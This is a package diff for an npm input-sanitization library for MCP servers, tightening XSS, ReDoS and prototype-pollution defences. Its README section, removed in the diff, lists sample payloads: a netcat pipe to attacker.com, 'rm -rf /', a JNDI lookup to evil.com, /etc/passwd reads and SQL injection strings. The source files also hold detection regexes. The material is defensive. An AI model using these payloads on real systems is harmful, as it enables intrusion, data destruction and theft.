mcp-sanitizer 1.2.0 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +81 -95
- package/package.json +13 -5
- package/src/config/default-config.js +11 -2
- package/src/config/security-policies.js +18 -6
- package/src/middleware/optimized-skip-matcher.js +4 -2
- package/src/patterns/command-injection.js +2 -2
- package/src/patterns/index.js +64 -62
- package/src/patterns/nosql-injection.js +2 -2
- package/src/patterns/prototype-pollution.js +31 -28
- package/src/patterns/sql-injection.js +17 -15
- package/src/patterns/template-injection.js +43 -34
- package/src/sanitizer/mcp-sanitizer.js +0 -32
- package/src/sanitizer/validators/command.js +10 -8
- package/src/sanitizer/validators/sql.js +22 -20
- package/src/utils/enterprise-security.js +4 -4
- package/src/utils/redos-safe-patterns.js +336 -0
- package/src/utils/security-enhancements.js +1 -1
- package/src/utils/string-utils.js +1 -1
- package/src/utils/unified-parser.js +26 -1
- package/.eslintrc.js +0 -33
- package/.github/ISSUE_TEMPLATE/bug_report.md +0 -33
- package/.github/ISSUE_TEMPLATE/config.yml +0 -8
- package/.github/ISSUE_TEMPLATE/feature_request.md +0 -26
- package/.github/ISSUE_TEMPLATE/security_report.md +0 -23
- package/.github/PULL_REQUEST_TEMPLATE.md +0 -28
- package/.github/workflows/ci.yml +0 -59
- package/.github/workflows/security.yml +0 -43
- package/.nvmrc +0 -1
- package/.prettierrc +0 -8
- package/API.md +0 -713
- package/benchmark/README.md +0 -445
- package/benchmark/advanced-security-benchmark.js +0 -313
- package/benchmark/library-performance.js +0 -170
- package/benchmark/quick-demo.js +0 -109
- package/benchmark/skip-paths-performance.js +0 -227
- package/docs/SECURITY.md +0 -177
- package/examples/README.md +0 -186
- package/examples/configuration-examples.js +0 -233
- package/examples/cve-tbd-001-fix-demo.js +0 -134
- package/examples/edge-case-validation.js +0 -130
- package/examples/mcp-server-basic.js +0 -441
- package/examples/mcp-server.js +0 -409
- package/examples/security-bypass-demo.js +0 -294
- package/examples/test-server.js +0 -401
- package/jest.config.js +0 -29
- package/test/comprehensive-unicode-security.test.js +0 -397
- package/test/coverage-gaps.test.js +0 -814
- package/test/edge-case-fixes.test.js +0 -109
- package/test/enterprise-security-final.test.js +0 -406
- package/test/mcp-sanitizer.test.js +0 -348
- package/test/middleware/middleware.test.js +0 -407
- package/test/middleware/optimized-skip-matcher.test.js +0 -311
- package/test/middleware/skipPaths.test.js +0 -551
- package/test/nosql-injection.test.js +0 -499
- package/test/parser-differential-vulnerability.test.js +0 -206
- package/test/security-comprehensive.test.js +0 -454
- package/test/security-decoder-integration.test.js +0 -225
- package/test/security-enhancements-simple.test.js +0 -78
- package/test/security-enhancements.test.js +0 -386
- package/test/security-performance-benchmark.test.js +0 -296
- package/test/unit/config/config.test.js +0 -294
- package/test/unit/library-integration.test.js +0 -260
- package/test/unit/validation-libraries.test.js +0 -279
- package/tsconfig.json +0 -27
package/README.md
CHANGED
|
@@ -4,42 +4,30 @@ A comprehensive security sanitization library for Model Context Protocol (MCP) s
|
|
|
4
4
|
|
|
5
5
|
[](https://badge.fury.io/js/mcp-sanitizer)
|
|
6
6
|
[](https://opensource.org/licenses/MIT)
|
|
7
|
-
[](./test)
|
|
7
|
+
[](./test)
|
|
9
8
|
|
|
10
9
|
## 🔒 Security Features
|
|
11
10
|
|
|
12
|
-
MCP Sanitizer provides comprehensive, defense-in-depth protection
|
|
11
|
+
MCP Sanitizer provides comprehensive, defense-in-depth protection:
|
|
13
12
|
|
|
14
|
-
- ✅ **Multi-layered
|
|
15
|
-
- ✅ **Advanced Unicode
|
|
16
|
-
- ✅ **Context-aware
|
|
17
|
-
- ✅ **
|
|
18
|
-
- ✅ **
|
|
19
|
-
- ✅ **
|
|
20
|
-
- ✅ **Comprehensive
|
|
13
|
+
- ✅ **Multi-layered Protection**: Command injection, SQL injection, XSS, NoSQL injection, path traversal
|
|
14
|
+
- ✅ **Advanced Unicode Defense**: Homograph detection, multi-pass normalization, zero-width removal
|
|
15
|
+
- ✅ **Context-aware Validation**: Specialized rules for file paths, URLs, commands, and SQL queries
|
|
16
|
+
- ✅ **Database-specific SQL Protection**: PostgreSQL, MySQL, MSSQL, Oracle validation and escaping
|
|
17
|
+
- ✅ **Framework Integration**: Express, Fastify, and Koa middleware with `skipPaths` support
|
|
18
|
+
- ✅ **Security Policies**: Pre-configured policies (STRICT, MODERATE, PERMISSIVE, DEVELOPMENT, PRODUCTION)
|
|
19
|
+
- ✅ **Comprehensive Validation**: Checking 42+ attack vectors across 12 validation layers in <1ms
|
|
20
|
+
- ✅ **Comprehensive Testing**: 1114 tests with 93% code coverage, sub-millisecond performance
|
|
21
21
|
|
|
22
22
|
### Security Philosophy
|
|
23
|
-
|
|
24
23
|
While we maintain rigorous security standards and comprehensive test coverage, we acknowledge that:
|
|
25
|
-
- No security solution is 100% bulletproof
|
|
26
|
-
- Zero-day vulnerabilities may
|
|
27
|
-
- Defense-in-depth is essential
|
|
28
|
-
- Regular updates are crucial
|
|
24
|
+
- No security solution is 100% bulletproof against unknown threats
|
|
25
|
+
- Zero-day vulnerabilities may emerge in the future
|
|
26
|
+
- Defense-in-depth is essential (use multiple security layers)
|
|
27
|
+
- Regular updates are crucial for evolving threat landscape
|
|
29
28
|
|
|
30
29
|
We encourage responsible disclosure of any security issues via GitHub Security Advisories.
|
|
31
30
|
|
|
32
|
-
## Features
|
|
33
|
-
|
|
34
|
-
### Core Capabilities
|
|
35
|
-
- **Multi-layered Protection**: Command injection, SQL injection, XSS, NoSQL injection, path traversal
|
|
36
|
-
- **Advanced Unicode Defense**: Homograph detection, normalization, zero-width character removal
|
|
37
|
-
- **Context-aware Validation**: Different rules for file paths, URLs, commands, and SQL queries
|
|
38
|
-
- **Framework Integration**: Express, Fastify, and Koa middleware with `skipPaths` support
|
|
39
|
-
- **Security Policies**: Pre-configured (STRICT, MODERATE, PERMISSIVE, DEVELOPMENT, PRODUCTION)
|
|
40
|
-
- **Performance Optimized**: Sub-millisecond operations, <10ms latency
|
|
41
|
-
- **Comprehensive Testing**: 500+ security tests
|
|
42
|
-
|
|
43
31
|
## Installation
|
|
44
32
|
|
|
45
33
|
```bash
|
|
@@ -94,7 +82,7 @@ const customSanitizer = new MCPSanitizer({
|
|
|
94
82
|
policy: 'MODERATE',
|
|
95
83
|
maxStringLength: 15000,
|
|
96
84
|
allowedProtocols: ['https', 'mcp'],
|
|
97
|
-
|
|
85
|
+
blockOnSeverity: 'medium' // Block medium severity and above
|
|
98
86
|
});
|
|
99
87
|
```
|
|
100
88
|
## Framework Middleware
|
|
@@ -103,16 +91,16 @@ const customSanitizer = new MCPSanitizer({
|
|
|
103
91
|
|
|
104
92
|
```javascript
|
|
105
93
|
const express = require('express');
|
|
106
|
-
const {
|
|
94
|
+
const { createExpressMiddleware } = require('mcp-sanitizer/middleware/express');
|
|
107
95
|
|
|
108
96
|
const app = express();
|
|
109
97
|
app.use(express.json());
|
|
110
98
|
|
|
111
|
-
//
|
|
112
|
-
app.use(
|
|
99
|
+
// Apply middleware with defaults
|
|
100
|
+
app.use(createExpressMiddleware());
|
|
113
101
|
|
|
114
102
|
// Or specify configuration
|
|
115
|
-
app.use(
|
|
103
|
+
app.use(createExpressMiddleware({
|
|
116
104
|
policy: 'PRODUCTION',
|
|
117
105
|
mode: 'sanitize', // or 'block'
|
|
118
106
|
skipPaths: ['/health', '/metrics'] // Skip sanitization for these paths
|
|
@@ -128,19 +116,19 @@ app.post('/tools/:toolName/execute', (req, res) => {
|
|
|
128
116
|
|
|
129
117
|
```javascript
|
|
130
118
|
const fastify = require('fastify')();
|
|
131
|
-
const
|
|
119
|
+
const mcpSanitizerPlugin = require('mcp-sanitizer/middleware/fastify');
|
|
132
120
|
|
|
133
121
|
// Register as plugin
|
|
134
|
-
fastify.register(
|
|
122
|
+
fastify.register(mcpSanitizerPlugin, {
|
|
135
123
|
policy: 'MODERATE'
|
|
136
|
-
})
|
|
124
|
+
});
|
|
137
125
|
```
|
|
138
126
|
|
|
139
127
|
### Koa
|
|
140
128
|
|
|
141
129
|
```javascript
|
|
142
130
|
const Koa = require('koa');
|
|
143
|
-
const { createKoaMiddleware } = require('mcp-sanitizer');
|
|
131
|
+
const { createKoaMiddleware } = require('mcp-sanitizer/middleware/koa');
|
|
144
132
|
|
|
145
133
|
const app = new Koa();
|
|
146
134
|
app.use(createKoaMiddleware({
|
|
@@ -212,34 +200,12 @@ const sanitizer = new MCPSanitizer({
|
|
|
212
200
|
|
|
213
201
|
## Supported Attack Vectors
|
|
214
202
|
|
|
215
|
-
|
|
216
|
-
-
|
|
217
|
-
-
|
|
218
|
-
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
- `ls; rm -rf /`
|
|
222
|
-
- `command && malicious_command`
|
|
223
|
-
- `ls | nc attacker.com 4444`
|
|
224
|
-
|
|
225
|
-
### SQL Injection
|
|
226
|
-
- `'; DROP TABLE users;--`
|
|
227
|
-
- `UNION SELECT * FROM passwords`
|
|
228
|
-
- `EXEC xp_cmdshell('dir')`
|
|
229
|
-
|
|
230
|
-
### Prototype Pollution
|
|
231
|
-
- `{"__proto__": {"isAdmin": true}}`
|
|
232
|
-
- `{"constructor": {"prototype": {"polluted": true}}}`
|
|
233
|
-
|
|
234
|
-
### Template Injection
|
|
235
|
-
- `{{constructor.constructor('return process')()}}`
|
|
236
|
-
- `${jndi:ldap://evil.com/x}`
|
|
237
|
-
- `<%= require("child_process").exec("whoami") %>`
|
|
238
|
-
|
|
239
|
-
### Code Execution
|
|
240
|
-
- `require('fs').readFileSync('/etc/passwd')`
|
|
241
|
-
- `eval("malicious_code")`
|
|
242
|
-
- `Function("return process")()`
|
|
203
|
+
- **Directory Traversal** - Relative path escapes, absolute system paths, UNC paths
|
|
204
|
+
- **Command Injection** - Shell metacharacters, chained commands, pipe redirection
|
|
205
|
+
- **SQL Injection** - Union-based, boolean-based, time-based, stacked queries, comment injection
|
|
206
|
+
- **Prototype Pollution** - Proto/constructor manipulation, deep property injection
|
|
207
|
+
- **Template Injection** - Server-side template engines, JNDI lookups, expression languages
|
|
208
|
+
- **Code Execution** - Dynamic evaluation, module loading, function constructors
|
|
243
209
|
|
|
244
210
|
## API Reference
|
|
245
211
|
|
|
@@ -333,10 +299,27 @@ npm run security-audit
|
|
|
333
299
|
|
|
334
300
|
## Performance
|
|
335
301
|
|
|
336
|
-
- **
|
|
337
|
-
- **
|
|
338
|
-
- **
|
|
339
|
-
- **
|
|
302
|
+
- **Sub-millisecond Validation**: <1ms average latency for complete validation (12 layers checking 40+ attack vectors)
|
|
303
|
+
- **High Throughput**: 7,500+ operations/second average, scales linearly with CPU cores
|
|
304
|
+
- **Industry-Leading Libraries**: escape-html (31M ops/sec), sqlstring (44M ops/sec), shell-quote (2.5M ops/sec)
|
|
305
|
+
- **Production Ready**: Sub-millisecond response times enable real-time validation without user-perceivable delays
|
|
306
|
+
- **Memory Efficient**: Configurable limits prevent exhaustion (<100MB under attack, typical usage <60MB)
|
|
307
|
+
- **Zero Overhead**: No artificial delays, pure validation logic only
|
|
308
|
+
- **Scalable**: Stateless design allows horizontal scaling across multiple cores/instances
|
|
309
|
+
|
|
310
|
+
### Performance Metrics
|
|
311
|
+
|
|
312
|
+
| Metric | Value | Details |
|
|
313
|
+
|--------|-------|---------|
|
|
314
|
+
| **Average Latency** | <1ms | 0.447ms - 0.84ms depending on input complexity |
|
|
315
|
+
| **Throughput** | 7,500+ ops/sec | Per CPU core, scales linearly |
|
|
316
|
+
| **Attack Detection** | 0.28ms - 2.39ms | All 42 attack vectors blocked |
|
|
317
|
+
| **Memory Usage** | <60MB typical | <100MB maximum under stress |
|
|
318
|
+
| **CPU Efficiency** | Optimized | No busy-wait loops, pure validation |
|
|
319
|
+
|
|
320
|
+
**Validation Layers**: Command injection, SQL injection (4 databases), NoSQL injection, XSS, path traversal, prototype pollution, template injection, Unicode normalization (4 passes), multi-layer encoding detection, file extension validation, protocol validation
|
|
321
|
+
|
|
322
|
+
**Optimization Options**: Use `skipPaths` middleware to exempt low-risk routes (health checks, static assets, metrics endpoints)
|
|
340
323
|
|
|
341
324
|
## Examples
|
|
342
325
|
|
|
@@ -385,15 +368,6 @@ if (urlResult.blocked) {
|
|
|
385
368
|
}
|
|
386
369
|
```
|
|
387
370
|
|
|
388
|
-
## Security Considerations
|
|
389
|
-
|
|
390
|
-
- **Defense in Depth**: Use sanitization as one layer of your security strategy
|
|
391
|
-
- **Input Validation**: Always validate inputs at the edge of your system
|
|
392
|
-
- **Output Encoding**: Consider output context when displaying sanitized data
|
|
393
|
-
- **Rate Limiting**: Implement rate limiting alongside input sanitization
|
|
394
|
-
- **Logging**: Log blocked attempts for security monitoring
|
|
395
|
-
- **Regular Updates**: Keep the library updated for new attack patterns
|
|
396
|
-
|
|
397
371
|
## Contributing
|
|
398
372
|
|
|
399
373
|
1. Fork the repository
|
|
@@ -407,43 +381,55 @@ if (urlResult.blocked) {
|
|
|
407
381
|
|
|
408
382
|
## Security
|
|
409
383
|
|
|
410
|
-
### 🛡️ Security
|
|
384
|
+
### 🛡️ Run Security Benchmarks
|
|
411
385
|
|
|
412
386
|
Run comprehensive security benchmarks to validate protection:
|
|
413
387
|
|
|
414
388
|
```bash
|
|
415
|
-
#
|
|
416
|
-
|
|
389
|
+
# Quick demo (10 attack vectors + performance test)
|
|
390
|
+
node benchmark/quick-demo.js
|
|
417
391
|
|
|
418
|
-
#
|
|
392
|
+
# Comprehensive security benchmark (42 attack vectors)
|
|
419
393
|
node benchmark/advanced-security-benchmark.js
|
|
420
394
|
|
|
421
|
-
#
|
|
395
|
+
# Performance benchmarks
|
|
422
396
|
node benchmark/library-performance.js
|
|
423
397
|
node benchmark/skip-paths-performance.js
|
|
424
398
|
```
|
|
425
399
|
|
|
426
|
-
|
|
400
|
+
**Expected Results:**
|
|
401
|
+
- All 42 attack vectors blocked (100%)
|
|
402
|
+
- Average latency: <1ms
|
|
403
|
+
- Throughput: 7,500+ ops/sec
|
|
404
|
+
- Memory usage: <60MB
|
|
405
|
+
|
|
406
|
+
### 🔒 Security Testing Coverage
|
|
427
407
|
|
|
428
|
-
|
|
429
|
-
|
|
430
|
-
|
|
431
|
-
|
|
432
|
-
|
|
433
|
-
|
|
408
|
+
| Category | Coverage |
|
|
409
|
+
|----------|----------|
|
|
410
|
+
| **XSS Vectors** | DOM-based, attribute injection, polyglots |
|
|
411
|
+
| **SQL Injection** | All major databases, blind/time-based, bypass techniques |
|
|
412
|
+
| **Command Injection** | Shell metacharacters, environment vars, process substitution |
|
|
413
|
+
| **Path Traversal** | Directory traversal, absolute paths, UNC |
|
|
414
|
+
| **ReDoS Protection** | Polynomial backtracking, timeout guards |
|
|
415
|
+
| **Prototype Pollution** | `__proto__`, constructor, prototype, encoding bypass |
|
|
416
|
+
| **Memory Safety** | Bounded memory usage under attack |
|
|
434
417
|
|
|
435
|
-
###
|
|
418
|
+
### 🎯 Security Best Practices
|
|
436
419
|
|
|
437
|
-
1. **
|
|
438
|
-
2. **
|
|
439
|
-
3. **
|
|
440
|
-
4. **
|
|
441
|
-
5. **
|
|
420
|
+
1. ✅ **Use STRICT or PRODUCTION policy** for untrusted input
|
|
421
|
+
2. ✅ **Update regularly** for latest security patches
|
|
422
|
+
3. ✅ **Monitor blocked attempts** in production for security insights
|
|
423
|
+
4. ✅ **Implement defense-in-depth** - multiple security layers
|
|
424
|
+
5. ✅ **Test with your attack vectors** using provided benchmarks
|
|
425
|
+
6. ✅ **Enable rate limiting** at infrastructure layer
|
|
442
426
|
|
|
443
|
-
### 📝 Security
|
|
427
|
+
### 📝 Security Resources
|
|
444
428
|
|
|
445
429
|
- [Security Documentation](./docs/SECURITY.md) - Comprehensive security information
|
|
446
430
|
- [Benchmark Documentation](./benchmark/README.md) - Performance and security testing
|
|
431
|
+
- [CodeQL Results](https://github.com/starman69/mcp-sanitizer/security/code-scanning) - Zero findings
|
|
432
|
+
- [Release Notes](https://github.com/starman69/mcp-sanitizer/releases) - Security improvements per version
|
|
447
433
|
|
|
448
434
|
## Security Reporting
|
|
449
435
|
|
package/package.json
CHANGED
|
@@ -1,8 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "mcp-sanitizer",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.3.1",
|
|
4
4
|
"description": "Comprehensive security sanitization library for Model Context Protocol (MCP) servers with trusted security libraries",
|
|
5
5
|
"main": "src/index.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"src/",
|
|
8
|
+
"LICENSE",
|
|
9
|
+
"README.md"
|
|
10
|
+
],
|
|
6
11
|
"scripts": {
|
|
7
12
|
"test": "jest",
|
|
8
13
|
"test:watch": "jest --watch",
|
|
@@ -37,7 +42,7 @@
|
|
|
37
42
|
"shell-quote": "^1.8.3",
|
|
38
43
|
"sqlstring": "^2.3.3",
|
|
39
44
|
"unorm": "^1.6.0",
|
|
40
|
-
"validator": "^13.15.
|
|
45
|
+
"validator": "^13.15.22"
|
|
41
46
|
},
|
|
42
47
|
"devDependencies": {
|
|
43
48
|
"benchmark": "^2.1.4",
|
|
@@ -48,14 +53,17 @@
|
|
|
48
53
|
"supertest": "^6.3.3"
|
|
49
54
|
},
|
|
50
55
|
"engines": {
|
|
51
|
-
"node": ">=
|
|
56
|
+
"node": ">=20.0.0"
|
|
52
57
|
},
|
|
53
58
|
"repository": {
|
|
54
59
|
"type": "git",
|
|
55
|
-
"url": "https://github.com/starman69/mcp-sanitizer.git"
|
|
60
|
+
"url": "git+https://github.com/starman69/mcp-sanitizer.git"
|
|
56
61
|
},
|
|
57
62
|
"bugs": {
|
|
58
63
|
"url": "https://github.com/starman69/mcp-sanitizer/issues"
|
|
59
64
|
},
|
|
60
|
-
"homepage": "https://github.com/starman69/mcp-sanitizer#readme"
|
|
65
|
+
"homepage": "https://github.com/starman69/mcp-sanitizer#readme",
|
|
66
|
+
"overrides": {
|
|
67
|
+
"qs": ">=6.14.2"
|
|
68
|
+
}
|
|
61
69
|
}
|
|
@@ -49,8 +49,17 @@ const DEFAULT_CONFIG = {
|
|
|
49
49
|
// Code execution patterns
|
|
50
50
|
/require\s*\(|import\s*\(|eval\s*\(|Function\s*\(/i,
|
|
51
51
|
|
|
52
|
-
// Script injection patterns (XSS)
|
|
53
|
-
|
|
52
|
+
// Script injection patterns (XSS) - Heuristic detection
|
|
53
|
+
// Detects HTML comments
|
|
54
|
+
/<!--[\s\S]*?-->/i,
|
|
55
|
+
// Detects well-formed script tags (handles attributes/whitespace in closing tag)
|
|
56
|
+
/<script\b[\s\S]*?<\/script\b[^>]*>/i,
|
|
57
|
+
// Detects unclosed or malformed script tags
|
|
58
|
+
/<script[^>]*>/i,
|
|
59
|
+
// Detects event handlers (improved to catch <img onload=alert(1)>)
|
|
60
|
+
/<[^>]*[\s/]on\w+\s*=/i,
|
|
61
|
+
// Detects javascript: protocol
|
|
62
|
+
/javascript:/i,
|
|
54
63
|
|
|
55
64
|
// Command chaining patterns
|
|
56
65
|
/\|\s*\w+|&&|\|\||;|`/,
|
|
@@ -33,7 +33,7 @@ const STRICT_POLICY = {
|
|
|
33
33
|
// Minimal file type support
|
|
34
34
|
allowedFileExtensions: ['.txt', '.json'],
|
|
35
35
|
|
|
36
|
-
//
|
|
36
|
+
// These patterns provide fast heuristic detection as part of defense-in-depth.
|
|
37
37
|
blockedPatterns: [
|
|
38
38
|
// All template injection patterns
|
|
39
39
|
/\$\{.*?\}|\{\{.*?\}\}|<%.*?%>|\[\[.*?\]\]/,
|
|
@@ -44,8 +44,13 @@ const STRICT_POLICY = {
|
|
|
44
44
|
// All code execution patterns
|
|
45
45
|
/require\s*\(|import\s*\(|eval\s*\(|Function\s*\(|setTimeout\s*\(|setInterval\s*\(/i,
|
|
46
46
|
|
|
47
|
-
//
|
|
48
|
-
/<!--[\s\S]
|
|
47
|
+
// XSS patterns (heuristic detection - see docs for limitations)
|
|
48
|
+
/<!--[\s\S]*?-->/i, // HTML comments
|
|
49
|
+
/<script\b[\s\S]*?<\/script\b[^>]*>/i, // Script tags (handles malformed closing)
|
|
50
|
+
/<script[^>]*>/i, // Unclosed/malformed script tags
|
|
51
|
+
/<[^>]*[\s/]on\w+\s*=/i, // Event handlers (improved pattern)
|
|
52
|
+
/javascript:/i, // JavaScript protocol
|
|
53
|
+
/data:/i, // Data protocol (can contain scripts)
|
|
49
54
|
|
|
50
55
|
// All command patterns
|
|
51
56
|
/\|\s*\w+|&&|\|\||;|`|\$\(|\$\{/,
|
|
@@ -148,7 +153,12 @@ const MODERATE_POLICY = {
|
|
|
148
153
|
/\$\{.*?\}|\{\{.*?\}\}|<%.*?%>/,
|
|
149
154
|
/__proto__|constructor\.prototype|prototype\.constructor/i,
|
|
150
155
|
/require\s*\(|import\s*\(|eval\s*\(|Function\s*\(/i,
|
|
151
|
-
|
|
156
|
+
// XSS patterns (heuristic detection)
|
|
157
|
+
/<!--[\s\S]*?-->/i, // HTML comments
|
|
158
|
+
/<script\b[\s\S]*?<\/script\b[^>]*>/i, // Script tags (handles malformed closing)
|
|
159
|
+
/<script[^>]*>/i, // Unclosed/malformed script tags
|
|
160
|
+
/<[^>]*[\s/]on\w+\s*=/i, // Event handlers (improved pattern)
|
|
161
|
+
/javascript:/i, // JavaScript protocol
|
|
152
162
|
/\|\s*\w+|&&|\|\||;|`/,
|
|
153
163
|
/\.\.\//
|
|
154
164
|
],
|
|
@@ -237,7 +247,8 @@ const PERMISSIVE_POLICY = {
|
|
|
237
247
|
// Minimal pattern blocking - only the most dangerous
|
|
238
248
|
blockedPatterns: [
|
|
239
249
|
/eval\s*\(/i, // Direct eval calls
|
|
240
|
-
/<script[\s\S]*?<\/script
|
|
250
|
+
/<script\b[\s\S]*?<\/script\b[^>]*>/i, // Script tags (handles malformed closing)
|
|
251
|
+
/<script[^>]*>/i, // Unclosed script tags
|
|
241
252
|
/__proto__\s*:/ // Direct prototype pollution
|
|
242
253
|
],
|
|
243
254
|
|
|
@@ -324,7 +335,8 @@ const DEVELOPMENT_POLICY = {
|
|
|
324
335
|
blockedPatterns: [
|
|
325
336
|
/__proto__|constructor\.prototype/i,
|
|
326
337
|
/eval\s*\(/i,
|
|
327
|
-
/<script[\s\S]*?<\/script
|
|
338
|
+
/<script\b[\s\S]*?<\/script\b[^>]*>/i, // Script tags (handles malformed closing)
|
|
339
|
+
/<script[^>]*>/i, // Unclosed script tags
|
|
328
340
|
/\|\s*rm|\|\s*del/
|
|
329
341
|
],
|
|
330
342
|
|
|
@@ -133,10 +133,11 @@ class OptimizedSkipMatcher {
|
|
|
133
133
|
|
|
134
134
|
/**
|
|
135
135
|
* Prefix Trie for efficient prefix matching
|
|
136
|
+
* Uses null-prototype objects to prevent prototype pollution (CVE-TBD-006)
|
|
136
137
|
*/
|
|
137
138
|
class PrefixTrie {
|
|
138
139
|
constructor () {
|
|
139
|
-
this.root =
|
|
140
|
+
this.root = Object.create(null);
|
|
140
141
|
this._size = 0;
|
|
141
142
|
}
|
|
142
143
|
|
|
@@ -153,7 +154,8 @@ class PrefixTrie {
|
|
|
153
154
|
|
|
154
155
|
for (const char of normalizedPath) {
|
|
155
156
|
if (!node[char]) {
|
|
156
|
-
|
|
157
|
+
// Use Object.create(null) to prevent prototype pollution
|
|
158
|
+
node[char] = Object.create(null);
|
|
157
159
|
}
|
|
158
160
|
node = node[char];
|
|
159
161
|
}
|
|
@@ -21,9 +21,9 @@ const SEVERITY_LEVELS = {
|
|
|
21
21
|
const SHELL_METACHARACTERS = [
|
|
22
22
|
/[;&|`$(){}[\]]/, // Basic shell metacharacters
|
|
23
23
|
/\|\s*\w+|&&|\|\||;|`/, // Command chaining patterns
|
|
24
|
-
/\$\(
|
|
24
|
+
/\$\([^)]{0,200}\)|\$\{[^}]{0,200}\}/, // Command substitution (bounded)
|
|
25
25
|
/>\s*\/dev\/|<\s*\/dev\//, // Device redirection
|
|
26
|
-
/<<\s*EOF
|
|
26
|
+
/<<\s*(?:EOF|\w{1,20})/, // Here documents (bounded)
|
|
27
27
|
/\*|\?|~|\^/ // Wildcards and expansion
|
|
28
28
|
];
|
|
29
29
|
|
package/src/patterns/index.js
CHANGED
|
@@ -227,81 +227,83 @@ function createPatternDetector (config = {}) {
|
|
|
227
227
|
customPatterns = []
|
|
228
228
|
} = config;
|
|
229
229
|
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
}
|
|
230
|
+
const detect = (input, options = {}) => {
|
|
231
|
+
const mergedOptions = { ...options, strictMode, customPatterns };
|
|
232
|
+
|
|
233
|
+
if (!enableCommandInjection &&
|
|
234
|
+
!enableSQLInjection &&
|
|
235
|
+
!enablePrototypePollution &&
|
|
236
|
+
!enableTemplateInjection &&
|
|
237
|
+
!enableNoSQLInjection) {
|
|
238
|
+
return { detected: false, severity: null, patterns: [] };
|
|
239
|
+
}
|
|
241
240
|
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
}
|
|
257
|
-
results.detectionResults.commandInjection = result;
|
|
241
|
+
// Run only enabled detectors
|
|
242
|
+
const results = {
|
|
243
|
+
detected: false,
|
|
244
|
+
severity: null,
|
|
245
|
+
patterns: [],
|
|
246
|
+
detectionResults: {}
|
|
247
|
+
};
|
|
248
|
+
|
|
249
|
+
if (enableCommandInjection) {
|
|
250
|
+
const result = commandInjection.detectCommandInjection(input, mergedOptions);
|
|
251
|
+
if (result.detected) {
|
|
252
|
+
results.detected = true;
|
|
253
|
+
results.patterns.push(...result.patterns);
|
|
254
|
+
results.severity = getHigherSeverity(results.severity, result.severity);
|
|
258
255
|
}
|
|
256
|
+
results.detectionResults.commandInjection = result;
|
|
257
|
+
}
|
|
259
258
|
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
}
|
|
267
|
-
results.detectionResults.sqlInjection = result;
|
|
259
|
+
if (enableSQLInjection) {
|
|
260
|
+
const result = sqlInjection.detectSQLInjection(input, mergedOptions);
|
|
261
|
+
if (result.detected) {
|
|
262
|
+
results.detected = true;
|
|
263
|
+
results.patterns.push(...result.patterns);
|
|
264
|
+
results.severity = getHigherSeverity(results.severity, result.severity);
|
|
268
265
|
}
|
|
266
|
+
results.detectionResults.sqlInjection = result;
|
|
267
|
+
}
|
|
269
268
|
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
}
|
|
277
|
-
results.detectionResults.prototypePollution = result;
|
|
269
|
+
if (enablePrototypePollution) {
|
|
270
|
+
const result = prototypePollution.detectPrototypePollution(input, mergedOptions);
|
|
271
|
+
if (result.detected) {
|
|
272
|
+
results.detected = true;
|
|
273
|
+
results.patterns.push(...result.patterns);
|
|
274
|
+
results.severity = getHigherSeverity(results.severity, result.severity);
|
|
278
275
|
}
|
|
276
|
+
results.detectionResults.prototypePollution = result;
|
|
277
|
+
}
|
|
279
278
|
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
}
|
|
287
|
-
results.detectionResults.templateInjection = result;
|
|
279
|
+
if (enableTemplateInjection) {
|
|
280
|
+
const result = templateInjection.detectTemplateInjection(input, mergedOptions);
|
|
281
|
+
if (result.detected) {
|
|
282
|
+
results.detected = true;
|
|
283
|
+
results.patterns.push(...result.patterns);
|
|
284
|
+
results.severity = getHigherSeverity(results.severity, result.severity);
|
|
288
285
|
}
|
|
286
|
+
results.detectionResults.templateInjection = result;
|
|
287
|
+
}
|
|
289
288
|
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
}
|
|
297
|
-
results.detectionResults.nosqlInjection = result;
|
|
289
|
+
if (enableNoSQLInjection) {
|
|
290
|
+
const result = nosqlInjection.detectNoSQLInjection(input, mergedOptions);
|
|
291
|
+
if (result.detected) {
|
|
292
|
+
results.detected = true;
|
|
293
|
+
results.patterns.push(...result.patterns);
|
|
294
|
+
results.severity = getHigherSeverity(results.severity, result.severity);
|
|
298
295
|
}
|
|
296
|
+
results.detectionResults.nosqlInjection = result;
|
|
297
|
+
}
|
|
299
298
|
|
|
300
|
-
|
|
301
|
-
|
|
299
|
+
return results;
|
|
300
|
+
};
|
|
301
|
+
|
|
302
|
+
return {
|
|
303
|
+
detect,
|
|
302
304
|
|
|
303
305
|
isSecure: (input, options = {}) => {
|
|
304
|
-
return !
|
|
306
|
+
return !detect(input, options).detected;
|
|
305
307
|
}
|
|
306
308
|
};
|
|
307
309
|
}
|
|
@@ -504,7 +504,7 @@ class NoSQLValidator {
|
|
|
504
504
|
/false,\s*\$where:/i,
|
|
505
505
|
/['"]\s*,\s*\$where:/i,
|
|
506
506
|
/admin['"]\s*,\s*\$where:/i,
|
|
507
|
-
/return\s+true\s
|
|
507
|
+
/return\s+true\s{0,5};?\s{0,5}\/\//i, // Bounded quantifiers
|
|
508
508
|
/\|\|\s*true/i
|
|
509
509
|
];
|
|
510
510
|
|
|
@@ -527,7 +527,7 @@ class NoSQLValidator {
|
|
|
527
527
|
/db\.\w+\.(drop|remove|insert)/i,
|
|
528
528
|
